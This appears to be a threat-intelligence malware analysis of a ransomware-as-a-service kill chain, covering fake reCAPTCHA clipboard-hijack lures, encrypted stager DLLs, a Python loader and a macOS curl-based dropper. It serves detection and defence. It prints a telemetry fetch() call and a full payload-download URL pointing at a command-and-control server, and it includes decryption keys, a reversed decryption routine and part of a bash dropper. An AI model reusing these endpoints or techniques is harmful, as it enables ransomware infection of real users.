JavaScript Functions - the six that matter (of 16)

FunctionPurpose
detectOS()Parses navigator.userAgent - same regex as affiliate 1: /Mac Macintosh Mac OS X MacIntel/ → "macOS", /Win Windows Win32 Win64/ → "Windows", else "Other"
getHelloWorldMessage()Returns OS-specific payload: Windows → powershell -w h -enc <base64>, macOS → curl downloads portable Python from GitHub + sys_core_f6037e11.bin from relay, Other → falls back to macOS command
silentCopyHelloWorld()Creates hidden <textarea> (position:fixed, top:-1000px, opacity:0), pastes payload, calls document.execCommand("copy"), removes element. Uses textarea vs affiliate 1's input element.
startFlow()Triggered on checkbox click. Sets isChecked=true, calls silentCopyHelloWorld(), hides main overlay, reveals verification overlay, calls loadVerificationSteps()
_sendStat(status)fetch() POST to relay.php with JSON body: {opid: "CAPTCHA_WEB", affiliate_id: [REDACTED], hostname: _vid, user: "WebVisitor", os: currentOS, status: status, data: {total_size: "WEB"}}. Uses X-Captcha-Track: 1 header.
__dp()Creates Blob from __pd base64 variable, triggers browser download as PE DLL file
The other ten - UI, localisation and step-rendering plumbing
  • detectLang() - as affiliate 1, but against the 6-language TRANSLATIONS map
  • copyHelloWorldMessage(btn) - manual copy fallback behind the visible button
  • buildSteps(s1, s2, s3) - builds the numbered instruction HTML from three translation keys
  • renderWindowsSteps() - Windows step HTML. Verification string I am not a robot \| Captcha Verification Hash: 7387
  • renderMacSteps() - macOS step HTML. Verification string I am not a robot — reCAPTCHA Verification ID: 715921
  • loadVerificationSteps() - picks the Windows or macOS block, injects it, sets RTL for Arabic
  • bindHelloWorldCopyButton() - clones the copy button to drop stale listeners, then rebinds
  • closeAllPopups() - hides mainOverlay and verifyOverlay
  • resetFlow() - resets the checkbox if verification has not completed
  • escapeHtml(str) - sanitises &, <, > in injected content

Event Listeners

  • Click listeners - checkbox toggle, overlay dismiss, copy button, verify button, popup close, reset flow triggers
  • Keydown listener - Escape key: calls _sendStat() to report the keypress to the C2, then closes all popups. Pressing Escape phones home - even a visitor who backs out of the lure generates a C2 record.

Localisation

14 translation keys per language across 6 languages - a leaner UI than the Windows Update variant, and ko/ja are dropped. The Windows steps instruct victims to press Win+R, paste with Ctrl+V, and press Enter. The macOS steps instruct victims to open Spotlight (Cmd+Space), type Terminal, then paste with Cmd+V and press Return.

Telemetry: _sendStat() Deep Dive

The reCAPTCHA variant uses the Fetch API with a JSON body, compared to the Windows Update variant's XMLHttpRequest with form-encoded data:

fetch('http://207.180.29.236:8080/relay.php', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'X-Captcha-Track': '1' },
  body: JSON.stringify({
    opid: 'CAPTCHA_WEB',
    affiliate_id: [REDACTED],
    hostname: _vid,        // localStorage persistent ID
    user: 'WebVisitor',
    os: currentOS,
    status: status,
    data: { total_size: 'WEB' }
  })
}).catch(e => {});

Key differences from affiliate 1's telemetry: opid is CAPTCHA_WEB (vs WINUPDATE_TRACK), hostname uses the persistent _vid (vs ephemeral sessionId), and the .catch(e => {}) silently swallows network errors - the page neither reads nor needs the relay's reply. See What the Relay Actually Does above for how this browser telemetry differs from the ransomware's authenticated C2 traffic.

Comparative Analysis: reCAPTCHA vs Windows Update Lure

AttributeWindows Update (aff 1)reCAPTCHA (aff 20)
ThemeWindows Update wizard with progress barGoogle reCAPTCHA checkbox + verification modal
Languages8 (en, fr, es, pt, it, ar, ko, ja)6 (en, fr, es, it, pt, ar)
Victim trackingsessionId via Math.random() - session-scoped_vid via localStorage - persistent across visits
Telemetry transportXMLHttpRequest + form-encoded bodyFetch API + JSON body
Operation IDWINUPDATE_TRACKCAPTCHA_WEB
Kill switchHardcoded expiry timestampHardcoded expiry timestamp - a few days later
Clipboard methodHidden <input> (10x10px, opacity 0.01)Hidden <textarea> (position:fixed, off-screen)
Progress animation15-sec bar, 3 rotating messages, eased to 95%None - spinner then immediate step display
macOS payload filesys_core_*.bin (varies)sys_core_f6037e11.bin (specific hash)
Functions1516 (adds escapeHtml, buildSteps, bindHelloWorldCopyButton)
Translation keys23 per language14 per language (fewer UI elements)

Both variants share the same core tradecraft: detectOS() branching, clipboard hijacking before instruction display, embedded PE blob via __dp(), and C2 telemetry through the relay. The differences suggest either iterative development by the same author (reCAPTCHA is leaner and uses more modern APIs) or template customisation by different affiliates.

Transition to Stage 2 (Windows path): The clipboard command is powershell -w h -enc <base64>. When the victim executes it (Win+R → paste → Enter), the PowerShell one-liner downloads the stager DLL from the C2 relay (http://207.180.29.236:8080/relay.php), saves it as WindowsUpdate.log, and executes it via rundll32. Simultaneously, the __dp() function in the HTML triggers a Blob-based browser download of the same PE DLL from the base64 blob embedded in the page (__pd variable).

Windows Stage 1 to Stage 2 transition through Blob download, pasted PowerShell, rundll32 execution, and RunMRU trace creation.

Windows Stage 1 to Stage 2 transition through Blob download, pasted PowerShell, rundll32 execution, and RunMRU trace creation.

Direct path to Stage 4 (macOS): On macOS, the clipboard command is a curl | bash one-liner that downloads portable Python from GitHub and the ransomware bootstrap script (sys_core_*.bin) directly from the relay. This bypasses Stages 2 and 3 entirely - there is no DLL chain on macOS. The Python bootstrap decompresses the ransomware and exec()s it in memory.

Stage 2: Stager DLL (embedded_payload.dll)

Stage 2 stager DLL showing the compact executable wrapper around the encrypted payload blob.

Stage 2 stager DLL showing the compact executable wrapper around the encrypted payload blob.

This DLL is an encrypted container. Its only purpose is to decrypt and drop Stage 3. It contains only ~6 KB of executable code in .text - around 13 KB counting every non-payload section - wrapped around a 3.87 MB encrypted blob in its .data section.

Stage 2 stager section layout showing a small code section and large encrypted payload blob.

Stage 2 stager section layout showing a small code section and large encrypted payload blob.

The CRPx0 builder generates this DLL with unique cryptographic parameters per affiliate build (two 64-byte XOR keys, two key offsets, unique payload length), making each copy forensically distinct even though the decryption algorithm is identical.

Transition to Stage 3: When loaded by rundll32, the stager reads its own exported crypto globals (g_k1, g_k2, g_ko1, g_ko2, g_len), applies a multi-layer decryption routine - XOR with rotating 64-byte key → ROL (rotate left 1 bit) → bitwise NOT → XOR with second key - to every byte of the .data section, and writes the decrypted output as data.dll to %LOCALAPPDATA%\data.dll. It then loads data.dll via LoadLibrary and transfers execution to its ExecuteStager export, which begins the Python bootstrap process (Stage 3).

Stage 2 to Stage 3 handoff showing encrypted blob decryption, data.dll write, LoadLibrary execution, and ExecuteStager transfer.

Stage 2 to Stage 3 handoff showing encrypted blob decryption, data.dll write, LoadLibrary execution, and ExecuteStager transfer.

  • Type: PE32 DLL (console), Intel 80386, stripped, MinGW compiled
  • Compiled: 2026-07-29 13:21:04 UTC (affiliate 1) / 2026-07-31 10:12:27 UTC (affiliate [REDACTED])
  • Internal name: payloadssys_d0fb3fb8.dll ([REDACTED]) / payloadssys_a7972745.dll ([REDACTED])
  • Imphash: 8021f32be9faef6137ea9d442ebe0059 (identical across both builds)

PE Section Table (affiliate 1)

Stage 2 affiliate 1 PE section table highlighting the high-entropy .data payload section.

Stage 2 affiliate 1 PE section table highlighting the high-entropy .data payload section.

SectionVirtual SizeRaw SizeEntropyFlags
.text5,8886,1446.03CODE EXEC READ
.data3,869,9563,870,2087.9454READ WRITE INIT
.rdata8921,0244.83READ INIT
.eh_fram1,7762,0484.32READ INIT
.bss14000.00READ WRITE UNINIT
.edata1605121.83READ INIT
.idata1,0721,5363.93READ INIT
.tls85120.00READ WRITE INIT
.reloc5481,0244.27READ DISC INIT

The .data section is 3.87 MB at entropy 7.95 - near-random encrypted payload. The rest of the DLL is only ~13 KB of code.

Export Table

Stage 2 stager export table showing the six crypto globals used for payload decryption.

Stage 2 stager export table showing the six crypto globals used for payload decryption.

ExportRVAPurpose
g_data0x3020Encrypted payload blob (3.87 MB)
g_k10x3b3c40Decryption key 1 (64 bytes)
g_k20x3b3c80Decryption key 2 (64 bytes)
g_ko10x3b3cc0Key offset 1 (1 byte)
g_ko20x3b3cc1Key offset 2 (1 byte)
g_len0x3b3c20Payload length (4 bytes)

All crypto parameters are exported as named globals - the decryption routine reads these at runtime to decrypt data.dll from the .data section. No ExecuteStager export in this DLL; it is called by ordinal from rundll32.

Decryption Keys

Affiliate 1 - g_len, g_ko1, g_ko2, g_k1, g_k2
g_len  = 3,869,696 (0x3b0c00)
g_ko1  = 0x5f
g_ko2  = 0x09

g_k1 (64 bytes):
  45 41 5e 91 37 eb 65 14  01 76 ed 47 49 01 fa 38
  48 86 03 a6 85 fc f4 aa  8d 0a cd c9 31 7b 14 ce
  26 f2 97 43 f2 70 86 3f  cc 78 05 dd 30 de 38 e7
  62 31 99 cd 7a df 99 9b  d4 f4 a1 d3 e8 8c 95 99

g_k2 (64 bytes):
  82 a5 84 9c ae d6 d5 0c  d1 d4 41 9d 4a 7b 4e e1
  ad de 7c 3c 53 db 26 f2  38 29 78 11 a2 b9 c9 91
  da a3 30 20 99 78 e2 b0  dd 5e b4 f2 92 63 0c 00
  e7 e1 62 1a 22 f2 26 cd  1f d1 e3 c6 db 3d 6b 63
Affiliate [REDACTED] - g_len, g_ko1, g_ko2, g_k1, g_k2
g_len  = 3,866,624 (0x3b0000)
g_ko1  = 0x9c
g_ko2  = 0x1e

g_k1 (64 bytes):
  2e 7b 83 67 77 75 56 42  f8 7f fd 98 a6 47 85 15
  57 14 c5 53 b2 dc d1 02  b9 43 a7 a4 3d 43 b8 3c
  dc d7 a4 de af 86 c4 40  0b c0 ea 5a 80 17 10 6d
  2f 45 c3 f1 72 5d 02 f3  61 e4 65 15 e2 24 25 b8

g_k2 (64 bytes):
  5e d1 d3 77 ed 96 0d 65  f3 c7 a3 e6 17 e2 af b8
  7f bf ac 40 ab 50 e0 cd  59 84 0c 05 14 e4 79 e8
  9f 77 e2 fc de cf ab 0d  65 a4 04 22 ca 43 e9 24
  d8 4d b6 53 f0 23 80 e9  d9 67 19 ed 1a b1 5b 05

Every parameter differs between builds - keys, offsets, and payload length are all unique per affiliate, confirming the builder generates fresh crypto material for each build.

Encrypted Payload Blob (g_data)

The .data section at file offset 0x1C20 (RVA 0x3020) contains 3,869,696 bytes of XOR+ROL+NOT encrypted data - the entire Stage 3 DLL. First 256 bytes (xxd):

First 256 bytes of g_data (xxd)
00001c20: df71 ba0d ed7a 3e5f 0ab6 ee67 485d 6aa4  .q...z>_...gH]j.
00001c30: 8cc4 a436 c8fc 05fe 8775 c7ac 635d 9aaf  ...6.....u..c]..
00001c40: 9083 a2d8 b919 f876 e23b 6f45 d355 49aa  .......v.;oE.UI.
00001c50: 8f20 f7a5 4644 b359 2cf2 6a76 b622 f8f6  . ..FD.Y,.jv."..
00001c60: 7ed3 af0a 6c20 bab9 98ea 6e41 5132 4090  ~...l ....nAQ2@.
00001c70: 647d b40e f14b b6c7 17c3 d71d d36a ad18  d}...K.......j..
00001c80: aa93 936a a920 4241 f28f 5855 f1f2 e0ba  ...j. BA..XU....
00001c90: 3997 c517 51c2 355c 3ef2 6a76 f622 f8f6  9...Q.5\>.jv."..
00001ca0: 51fe f20d 4afa 3b5f 9ec9 5a52 b7a2 6aa4  Q...J.;_..ZR..j.
00001cb0: d0c4 a436 b8fc 026f 22f5 c63a 6313 9aaf  ...6...o"..:c...
00001cc0: 90b5 bfd8 b91f f876 9ab3 6f45 d35d 49aa  .......v..oE.]I.
00001cd0: 8f78 f7a5 4644 856d 2cfa 6a76 f623 f8f6  .x..FD.m,.jv.#..
00001ce0: 7b5c f20d ec7a 3e5f 0ab6 ee67 b7a2 6aa4  {\...z>_...g..j.
00001cf0: d084 3936 c8fe 05fe 0b82 5aac 625d ba2f  ..96......Z.b]./
00001d00: 9083 b2d8 b911 f876 e23b 6745 d35d 49aa  .......v.;gE.]I.
00001d10: 8f20 f7a5 4e44 b359 2cea f776 5922 f8f6  . ..ND.Y,..vY"..

Note the high entropy with no readable strings or null runs - characteristic of encrypted data. Repeating byte patterns visible at 64-byte intervals (e.g. 6a76 at offsets 0x1C58, 0x1C98, 0x1CD8) correspond to the 64-byte key cycling.

Decryption Algorithm (reversed from radare2 disassembly)

The .data section contains the encrypted Stage 3 payload:

# Step 1: Prepare keys with offsets
for i in range(0x40):
    k1[i] ^= ko1  # ko1 = 0x5f
    k2[i] ^= ko2  # ko2 = 0x09

# Step 2: Decrypt each byte
for i in range(payload_len):  # payload_len = 0x3b0c00
    data[i] ^= k2[i & 0x3f]                              # XOR with k2
    data[i] = ((data[i] << 1) | (data[i] >> 7)) & 0xFF   # ROL 1
    data[i] = (~data[i]) & 0xFF                           # NOT
    data[i] ^= k1[i & 0x3f]                               # XOR with k1

Output: data.dll written to %LOCALAPPDATA%\data.dll

Stage 3: Python Loader DLL (data.dll)

This is the operational loader. It is more complex than Stage 2: 39 KB of C code, compared with Stage 2's 6 KB, plus a 3.8 MB .data section containing XOR-encoded configuration strings and the Python ransomware bootstrap.

Its job is to build a Python runtime environment on the victim's machine and then launch the ransomware. The ExecuteStager export is the entry point called by the stager chain from Stage 2.

The full step-by-step sequence is documented under Execution Flow below.

  • Type: PE32 DLL (GUI subsystem), Intel 80386, stripped
  • Compiled: 2026-07-29 13:20:45 UTC
  • Internal name: sys_950bfbed.dll
  • Config string encoding: Single-byte XOR with key 0x52
  • Python bootstrap encoding: Single-byte XOR with key 0xE0 at offset 0x260
Stage 3 data.dll overview showing the loader structure and embedded Python bootstrap content.

Stage 3 data.dll overview showing the loader structure and embedded Python bootstrap content.

Import Characteristics

The import view is deliberately sparse. VariantInit is the only explicit COM-related import, providing the sole static hint that one of the loader's two ZIP-extraction routes is COM automation via Shell.Application. The other route, tar.exe, leaves no import trace at all, so the import table cannot be used to determine which of the two runs first. Meanwhile, GetProcAddress indicates that additional APIs are resolved dynamically at runtime, reducing their visibility in the import table, while VirtualProtect shows that the loader can alter memory-page protections during execution. Together, these APIs demonstrate that the static import table materially understates the loader’s runtime capabilities.

PE Section Table

SectionVirtual SizeRaw SizeEntropyFlags
.text39,48839,9366.27CODE EXEC READ
.data3,807,8483,808,2566.0041READ WRITE INIT
.rdata8,8169,2166.53READ INIT
.eh_fram5,1845,6324.67READ INIT
.bss2,64000.00READ WRITE UNINIT
.edata955121.12READ INIT
.idata2,0202,0485.05READ INIT
.rsrc9361,0243.17READ INIT
.reloc1,4881,5366.45READ DISC INIT

.data at 3.8 MB / entropy 6.00 - lower than the stager (7.95) because it contains XOR-encoded text (Python source + config strings), not random ciphertext. .text is 39 KB vs the stager’s 6 KB, reflecting significantly more C code logic (download, extract, execute).

Export Table

Stage 3 data.dll export table showing ExecuteStager and Run entry points.

Stage 3 data.dll export table showing ExecuteStager and Run entry points.

ExportRVAPurpose
ExecuteStager0x3c08Entry point called by rundll32
Run0x3c18Alternate entry point

Fake Version Info (.rsrc section) - Multi-Vendor Masquerading

Fake version information in data.dll showing mixed Oracle, Microsoft, and Intel metadata.

Fake version information in data.dll showing mixed Oracle, Microsoft, and Intel metadata.

Dumping the info gives:

͌4 VS_VERSION_INFO  ҽﻯ ┖P	ڀ┖P	ڀ?          ʪ StringFileInfo ʆ 040904B0 FCompanyName  Oracle Corporation  dFileDescription  Microsoft C++ Runtime Library >FileVersion  80.9494.1664.9  4
InternalName utils.dll |,LegalCopyright © Oracle Corporation. All rights reserved. <
OriginalFilename utils.dll TProductName  Intel® Management Engine BProductVersion 80.9494.1664.9  D VarFileInfo  $ Translation  ЉҰ

Which can then be deobfuscated; three different vendors in one version resource - a signature of automated metadata spoofing by the builder:

FieldValueReal Vendor
CompanyNameOracle Corporation✘ Not Oracle
FileDescriptionMicrosoft C++ Runtime Library✘ Not Microsoft
ProductNameIntel® Management Engine✘ Not Intel
FileVersion80.9494.1664.9Randomised
InternalNameutils.dllGeneric
LegalCopyright© Oracle Corporation. All rights reserved.Matches CompanyName

The builder’s “PE Metadata Spoofing” toggle (always on) generates this via a .rc resource file compiled with windres. The mixed-vendor metadata is a strong static detection signal.

Import Table

DLLCountKey Imports
KERNEL32.dll31CreateFileA, CreateThread, VirtualAlloc, WriteFile, GetTempPathA, GetSystemDirectoryA, LoadLibraryA, GetProcAddress
msvcrt.dll34calloc, free, malloc, memcpy, sprintf, strcmp, strlen
OLEAUT32.dll1VariantInit - COM automation for Shell.Application ZIP extraction
USER32.dll3DispatchMessageA, PeekMessageA, TranslateMessage - message loop so DLL runs as GUI subsystem (no console window)

wininet.dll, shell32.dll, ole32.dll are loaded dynamically via GetProcAddress after XOR 0x52 string decryption at runtime.

Execution Flow (data.dll C code)

Stage 3 ExecuteStager flow showing runtime string decoding, Python download, extraction, and bootstrap execution.

Stage 3 ExecuteStager flow showing runtime string decoding, Python download, extraction, and bootstrap execution.

The ExecuteStager export performs this seven-step sequence:

1. XOR 0x52 string decryption - decodes all config strings (URLs, paths, commands) from the .data section at runtime

2. Python download - resolves InternetOpenA/InternetOpenUrlA/InternetReadFile from wininet.dll via GetProcAddress, downloads python-3.10.11-embed-*.zip to %TEMP%\py.zip

3. ZIP extraction - two routes, tar.exe and COM Shell.Application - the loader carries both. The COM route is confirmed by the VariantInit import and the dynamically resolved ole32 / oleaut32 calls (CoInitializeCoCreateInstance(Shell.Application)NameSpace()CopyHere()), and it completes without shelling out to any command. Which route is attempted first was not established from static analysis. The tradecraft point holds either way: neither route uses powershell Expand-Archive or 7z. *Detection consequence: treat a tar.exe child process writing into one of the five staging directories as a signal when it appears, but do not read its absence as evidence the chain did not run - the COM route leaves no child process at all.*

Stage 3 ZIP extraction logic showing tar.exe and COM Shell.Application paths.

Stage 3 ZIP extraction logic showing tar.exe and COM Shell.Application paths.

4. pip bootstrap - downloads get-pip.py from bootstrap.pypa.io, executes it, then runs pip install cryptography requests pywin32

5. XOR 0xE0 Python bootstrap extraction - the loader reads the encrypted Python bootstrap from offset 0x260 in its .data section, decodes each byte using XOR key 0xE0, and writes the resulting script to disk. In the disassembly, DAT_686cb260 references this location. The first encrypted byte, 0x89, becomes 0x69 when XORed with 0xE0; 0x69 represents the character i, which is the first character of import sys, os. This confirms both the decryption key and the payload’s starting offset.

XOR 0xE0 bootstrap extraction from data.dll at offset 0x260.

XOR 0xE0 bootstrap extraction from data.dll at offset 0x260.

6. Environment flag - sets CRPx0_LOADER=1 before executing the bootstrap

7. Bootstrap execution - the Python bootstrap uses chr() obfuscation to import builtins, base64, zlib, then base64-decodes and zlib-decompresses a 3.8M blob into sys_service.py and exec(compile())s it

Stage 3 data.dll execution flow: decode strings, build a Python runtime, unpack the bootstrap, and launch sys_service.py.

Stage 3 data.dll execution flow: decode strings, build a Python runtime, unpack the bootstrap, and launch sys_service.py.

Repeated bootstrap extraction evidence showing the decoded Python payload starting at the data section offset.

Repeated bootstrap extraction evidence showing the decoded Python payload starting at the data section offset.

Anti-Detection Techniques

Anti detection staging techniques; instead of dropping files into an obvious folder, it randomly picks from five legitimate-sounding directory names in %TEMP%:

  • Low_Graphics_Cache
  • Sys_Diagnostics
  • Windows_Driver_Host
  • Update_Temp_Store
  • Cache_Sys
Anti-detection staging directories used to hide CRPx0 loader activity under legitimate-looking names.

Anti-detection staging directories used to hide CRPx0 loader activity under legitimate-looking names.

Bootstrap Payload Write

This captures the point at which the embedded Python payload is written to disk. The DLL reads the encrypted payload from offset 0x260 in its own .data section, decrypts it using XOR key 0xE0, and writes the result through CreateFileA and WriteFile.

The write uses CreateFileA with CREATE_ALWAYS, producing the bootstrap that launches the final sys_service.py ransomware.

Bootstrap payload write routine showing CreateFileA and WriteFile output of the decoded Python bootstrap.

Bootstrap payload write routine showing CreateFileA and WriteFile output of the decoded Python bootstrap.

Domain Resilience - TLD Rotation

The download function (FUN_686c1f07) cycles through five TLDs - .ws, .ly, .pet, .sh, .moe - shuffled at runtime via Fisher-Yates. If the primary C2 domain is taken down on one TLD, the stager automatically tries the next. This is a deliberate anti-takedown mechanism: law enforcement or registrars seizing one domain extension does not neutralise the stager.

Kill Switch

A hardcoded Unix timestamp is compiled into the loader; the value is build-generated and is not reproduced here. If time() exceeds it, the JG (*jump if greater*) instruction redirects execution to LAB_686c3ab0, the function’s exit path. The loader then returns immediately: no payload decryption, file creation, or ransomware execution occurs.

The termination is silent, with no error message or cleanup activity, making it appear as though the DLL was never loaded.

This mechanism also functions as a commercial control for the RaaS operator. Once a build expires, affiliates must obtain a replacement containing a new expiry date, cryptographic material, and file hashes. This prevents older builds from being reused or resold and renders leaked samples inert after the deadline.

Stage 3 kill-switch logic showing expiry comparison and silent loader exit path.

Stage 3 kill-switch logic showing expiry comparison and silent loader exit path.

Dynamically Resolved APIs

  • wininet.dll: InternetOpenA, InternetOpenUrlA, InternetReadFile, InternetCloseHandle
  • kernel32.dll: standard process/file APIs
  • shell32.dll: ShellExecuteA
  • ole32.dll / oleaut32.dll: COM operations (Shell.Application, NameSpace, CopyHere)

Downloads

  1. https://www.python.org/ftp/python/3.10.11/python-3.10.11-embed-win32.zip (32-bit) or amd64.zip (64-bit)
  2. https://bootstrap.pypa.io/get-pip.py
  3. Installs via pip: cryptography requests pywin32

Embedded Python Script

The .data section (3.8MB, entropy 6.00) contains the Python payload encoded with XOR 0xE0:

  • Offset 0x260: XOR 0xE0 decodes to import sys, os\ntry:\n import _distutils_hack...
  • Bootstrap uses chr() obfuscation to import builtins, base64, zlib
  • Contains a 3.8M character base64 string (eNrs/emS40...) which is zlib-compressed Python source
  • Decode chain: base64.b64decode()zlib.decompress()builtins.exec(builtins.compile(...))
  • Output: sys_service.py - the actual ransomware (1,769 lines, 3.9MB)

Alternate Delivery Formats - Standalone DLL and EXE

The ClickFix HTML lure is only one of the four payload formats the CRPx0 COMMAND builder offers affiliates. Two of the four are the HTML lures covered above - Update HTML and CAPTCHA HTML. The other two are a standalone DLL and a standalone EXE, both pulled from the builder panel and analysed here. Both remove the ClickFix social engineering step entirely: no HTML page, no clipboard hijack, no PowerShell paste. The affiliate delivers a single binary by whatever vector they prefer - phishing attachment, trojanised installer, USB drop, or an existing DLL sideloading opportunity.

Both builds trace to affiliate [REDACTED], the reCAPTCHA operator. The DLL carries the internal name affiliate_20sys_e56dad8b.dll, and its compile timestamp of 2026-07-31 10:14:07 UTC falls 100 seconds after the affiliate [REDACTED] ClickFix stager at 2026-07-31 10:12:27 UTC. Assessed at high confidence that both came out of a single builder session - one affiliate generating a spread of formats in one sitting, rather than two separate campaigns.

How They Map to the Killchain

In the ClickFix chain the work is split across two files: embedded_payload.dll (Stage 2 - carries the encrypted blob and the exported crypto globals) and data.dll (Stage 3 - decrypts the blob, downloads Python, bootstraps sys_service.py). The standalone formats merge both roles into one binary.

StageClickFix / reCAPTCHA chainStandalone DLLStandalone EXE
Stage 1 - deliveryHTML lure → clipboard hijack → pasted PowerShellAffiliate-chosen vector - sideloading, process injection, phishingAffiliate-chosen vector - direct execution, phishing attachment, trojanised installer
Stage 2 - stagerembedded_payload.dll - exports g_data, g_k1, g_k2, g_ko1, g_ko2, g_lenSame six exports, present in the single DLLNo exports needed - main() reads the globals directly
Stage 3 - loaderdata.dll - a separate binary that decrypts the blob, downloads Python and runs the bootstrapLoader logic compiled into the same DLL, alongside the stager exportsLoader logic compiled into the same EXE
Stage 4 - ransomwaresys_service.pySame sys_service.pySame sys_service.py

Stage 1 changes completely, Stages 2 and 3 collapse into a single all-in-one binary, and Stage 4 is untouched. The encrypted payload blob, the XOR+ROL+NOT decryption routine, the Python download, the XOR 0xE0 bootstrap and the final sys_service.py execution are identical across all four formats.

Standalone DLL - sys_260a35b4.dll

Standalone DLL delivery chain - the all-in-one PE merges Stages 2 and 3 before launching sys_service.py.

Standalone DLL delivery chain - the all-in-one PE merges Stages 2 and 3 before launching sys_service.py.

Built for DLL sideloading or process injection. It exports the same six crypto globals as embedded_payload.dll but also carries the loader logic that normally lives in data.dll, so a vulnerable application that loads it triggers the whole chain in-process - decrypt, download Python, bootstrap - with no second PE ever touching disk. That removes the %LOCALAPPDATA%\data.dll artefact the ClickFix path leaves behind.

  • Type: PE32 DLL (console subsystem), Intel 80386, stripped, Mingw-w64 (GCC)
  • Compiled: 2026-07-31 10:14:07 UTC
  • Internal name: affiliate_20sys_e56dad8b.dll
  • .text: 0x1800 (6,144 bytes) - loader code
  • .data: 0x3B0400 (~3.87 MB), entropy 7.96 - encrypted payload blob
  • Imports: CreateFileA, WriteFile, VirtualProtect, GetProcAddress, LoadLibraryA from KERNEL32.dll, plus msvcrt.dll
  • Exports: g_data, g_k1, g_k2, g_ko1, g_ko2, g_len
  • No resource section - unlike data.dll this build carries no .rsrc and therefore no fake version info, so it shows blank properties in Explorer

Standalone EXE - sys_555de185.exe

Standalone EXE delivery chain - direct GUI execution merges Stages 2 and 3 before launching sys_service.py.

Standalone EXE delivery chain - direct GUI execution merges Stages 2 and 3 before launching sys_service.py.

Direct execution: double-click it or run it from a command line and the chain fires. The GUI subsystem suppresses any console window, so nothing appears on screen. CreateProcessA and GetStartupInfoA spawn the downloaded Python interpreter; the file-write and memory APIs match the DLL variant. No exports, no resources, no version info, no digital signature.

  • Type: PE32 executable (GUI subsystem), Intel 80386, stripped, Mingw-w64 (GCC)
  • .text: 0x1C00 (7,168 bytes) - loader code plus main()
  • .data: 0x3B0A00 (~3.87 MB), entropy 7.97 - encrypted payload blob
  • Imports: CreateFileA, WriteFile, CreateProcessA, GetStartupInfoA, GetSystemTime, VirtualProtect, GetProcAddress, LoadLibraryA from KERNEL32.dll, plus msvcrt.dll
  • Exports: none - main() reaches the crypto globals directly

Neither binary is compiled Python. Both are small C stagers - 6 to 7 KB of code - wrapping a ~3.87 MB encrypted blob. The Python ransomware exists only inside that blob, after decryption.

What the Import Tables Give Away

Three things follow from the import lists, and each one changes what defenders should expect to see.

  • Neither build imports COM. Stage 3's data.dll imports VariantInit from OLEAUT32, the only static hint of its COM Shell.Application ZIP-extraction route. Neither standalone build imports it, so both are assessed to rely on tar.exe alone to unpack the embedded Python distribution. That makes a tar.exe child process a *dependable* signal on this path, where it is the only extraction route available. On the ClickFix path data.dll holds both routes and the COM one can complete with no child process at all, so there the absence of tar.exe proves nothing.
  • The EXE's time API import is probably the kill switch. Stage 3 gated execution on time() against the hardcoded expiry 0x6A77C2FF; GetSystemTime is the Win32 equivalent and has no other obvious use in a loader this small. Assessed at moderate confidence that the standalone builds carry the same expiry mechanism. The DLL does not import it, but it does import msvcrt, where Stage 3's time() lives, so its absence from the DLL's KERNEL32 imports is not evidence that the DLL has no kill switch. If these builds inherit the same expiry mechanism, both go inert once their timestamp passes. Neither timestamp was extracted, and because these samples came from infiltration rather than a live incident, the specific values carry little analytic weight.
  • The builder's "always on" metadata spoofing is not always on. data.dll carries a .rsrc section with mixed-vendor version info (Oracle, Microsoft, Intel), and the panel presents PE Metadata Spoofing as a permanent toggle. Neither standalone build has a resource section at all. Either the toggle is not applied to these output formats or it is not in fact mandatory - so the mixed-vendor version resource cannot be used as a cross-format detection anchor. See the corrected row in Builder Toggle → Function Mapping.

Detection Notes

From Stage 3 onward both formats behave exactly like the ClickFix chain - Python runtime download, sys_service.py execution, C2 beacons, exfiltration, encryption, ransom notes. Every Stage 3 and Stage 4 network, filesystem and behavioural indicator in this report applies unchanged.

What is gone is the whole of Stage 1, and with it the four earliest detections in the report: there is no RunMRU write, no pasted PowerShell, no X-Captcha-Track: 1 header and no document.write(atob(...)) page. On this path, hunt instead on:

  • The six-export pattern - g_data + g_k1 + g_k2 + g_ko1 + g_ko2 + g_len in a single DLL. This is the builder's structural fingerprint and the same anchor CRPx0_Stager_DLL already uses, so existing coverage extends to the DLL variant for free.
  • Section geometry - a PE32 DLL or EXE with a tiny .text section against a .data section of roughly 3.87 MB at entropy above 7.9. The observed values are 6,144 bytes of .text in the standalone DLL and 7,168 bytes in the EXE, both well under 8 KB. No legitimate binary carries that code-to-payload ratio, and matching it needs no exports, strings or hashes. This is the only structural handle on the EXE variant, which has nothing to match on otherwise. CRPx0_Standalone_Loader_PE implements it with a 16 KB .text ceiling rather than 8 KB - deliberately loosened so a slightly larger rebuild still matches, at the cost of a wider net.
  • Naming - sys_<hex8>.dll and sys_<hex8>.exe on disk, internal name affiliate_<id>sys_<hex8>.dll.
  • A GUI-subsystem PE32 in a user-writable path spawning tar.exe and then python.exe from %TEMP% - the loader behaviour both formats still share with data.dll.

The macOS Delivery Chain

Unlike the Windows path (which uses a multi-stage DLL stager chain), the macOS delivery is a direct two-stage process that skips PE binaries entirely. The payload is the same cross-platform Python ransomware used on Windows - only the delivery wrapper differs.

How It Gets Downloaded

When detectOS() in the ClickFix HTML identifies macOS (via user-agent matching), the page copies a curl | bash one-liner to the victim's clipboard instead of the PowerShell command used for Windows, then walks the victim through Spotlight → Terminal → paste → Return in their own language.

The one-liner (from _macCmd, captcha variant line 578) detects the CPU architecture, pulls a portable Python 3.10.13 build from GitHub so the attack works on hosts with no Python installed, downloads the payload from the relay as /tmp/sys_service.py, runs it in the background, and clears the terminal. The diagram below summarises the path:

Full C2 download URL: http://207.180.29.236:8080/relay.php?file=sys_core_f6037e11.bin&secret=crpx0_c2_2026

macOS delivery chain using a clipboard-injected curl command, portable Python download, relay payload fetch, and direct sys_service.py execution.

macOS delivery chain using a clipboard-injected curl command, portable Python download, relay payload fetch, and direct sys_service.py execution.

No PE file ever touches disk on this path - Stages 2 and 3 are skipped entirely, so there is no rundll32, no data.dll, and no WindowsUpdate.log artefact. The only on-disk evidence is /tmp/py.tar.gz (deleted immediately), /tmp/python/, and /tmp/sys_service.py.

Standalone Bash Dropper Variant

A standalone bash script variant was also recovered (macos, 990 bytes, SHA256: e3191e13e6ff9a1a85d1dcffc4e7a8bdcc12329f8ecf0ad825f8670b0d12c97a). This wraps the same logic but adds a fake update message as a decoy (Applying Critical Security Update macOS 14.5 Supplemental):

Source - macOS bash dropper
#!/bin/bash
# Security Update Script

echo "Applying Critical Security Update (macOS 14.5 Supplemental)..."

# Detect architecture
ARCH=$(uname -m)
if [ "$ARCH" = "arm64" ]; then
